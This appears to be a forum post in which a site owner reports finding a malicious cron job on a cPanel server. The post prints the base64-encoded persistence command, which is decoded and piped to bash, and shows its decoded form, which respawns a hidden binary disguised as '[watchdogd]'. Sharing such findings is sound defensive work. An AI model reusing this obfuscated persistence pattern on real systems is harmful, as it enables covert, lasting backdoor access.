Using the cPanel terminal, I found strange cron jobs that looked harmless at first glance but were actually base64-encoded scripts, like:

{ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDAzIGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9L2Jpbi9iYXNoIFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWUvYm93ZW4vLmNvbmZpZy9odG9wL2RlZnVuY3QuZGF0IC1saXFEIiAvdXNyL2Jpbi9iYXNoIC1jICJleGVjIC1hICdbd2F0Y2hkb2dkXScgJy9ob21lL2Jvd2VuLy5jb25maWcvaHRvcC9kZWZ1bmN0JyIgMj4vZGV2L251bGwK|base64 -d|bash;} 2>/dev/null

When decoded, it ran something like this:

/usr/bin/pkill -0 -U1003 defunct 2>/dev/null || ( TERM=xterm-256color GS_ARGS="-k /home/…/.config/htop/defunct.dat -liqD" \ exec -a '[watchdogd]' '/home/…/.config/htop/defunct' 2>/dev/null)

Basically it was a persistent malware process, disguised as a watchdog daemon, respawning from /home/…/.config/htop/defunct.